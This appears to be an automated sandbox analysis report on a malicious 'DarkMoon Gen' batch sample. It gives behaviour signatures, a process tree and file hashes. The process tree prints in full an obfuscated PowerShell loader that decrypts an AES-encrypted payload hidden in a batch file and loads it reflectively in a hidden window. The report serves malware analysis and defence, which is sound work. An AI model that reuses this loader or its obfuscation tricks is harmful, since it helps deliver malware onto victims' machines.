Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02/06/2024, 15:43

General

  • Target
    DarkMoon_Gen_1-3/starter.bat
  • Size 51B
  • Sample240602-s59bzagg36
  • SHA256 97c5438395ba799a673564195db730de8d9742a7a141566fa7c9075c46e3a039
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 13 IoCs
  • Runs ping.exe 1 TTPs 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\starter.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K uni.bat
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
        "uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1656
    • C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\main.exe
      main.exe
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\system32\cmd.exe
        cmd /c "Dark Moon gen.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:2916
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2924
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2636
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2676
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2760
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2532
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2516
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2456
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2492
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2520
          • C:\Windows\system32\PING.EXE
            ping discord.com
            4⤵
            • Runs ping.exe
            PID:2356
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2420
          • C:\Windows\system32\PING.EXE
            ping www.paysafecard.com
            4⤵
            • Runs ping.exe
            PID:2428
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2844
          • C:\Windows\system32\PING.EXE
            ping www.amazon.com
            4⤵
            • Runs ping.exe
            PID:2204
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2028
          • C:\Windows\system32\PING.EXE
            ping play.google.com
            4⤵
            • Runs ping.exe
            PID:328
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2568
          • C:\Windows\system32\PING.EXE
            ping store.steampowered.com
            4⤵
            • Runs ping.exe
            PID:2576
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1488
          • C:\Windows\system32\PING.EXE
            ping netflix.com
            4⤵
            • Runs ping.exe
            PID:1772
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2180
          • C:\Windows\system32\PING.EXE
            ping www.spotify.com
            4⤵
            • Runs ping.exe
            PID:692
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1692
          • C:\Windows\system32\PING.EXE
            ping www.xbox.com
            4⤵
            • Runs ping.exe
            PID:2224
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1644
          • C:\Windows\system32\timeout.exe
            timeout 1
            4⤵
            • Delays execution with timeout.exe
            PID:1636
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:3012
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2812
          • C:\Windows\system32\PING.EXE
            ping www.google.com
            4⤵
            • Runs ping.exe
            PID:3028
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:580

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          uni.bat.exe

          • Path C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
          • Size 462KB
          • SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
          • MD5 SHA1 SHA512 SSDEEP

          Dark Moon gen.bat

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
          • Size 35KB
          • SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
          • MD5 SHA1 SHA512 SSDEEP

          memory/1656-8-0x000000001B1A0000-0x000000001B482000-memory.dmp

          memory/1656-9-0x0000000001D40000-0x0000000001D48000-memory.dmp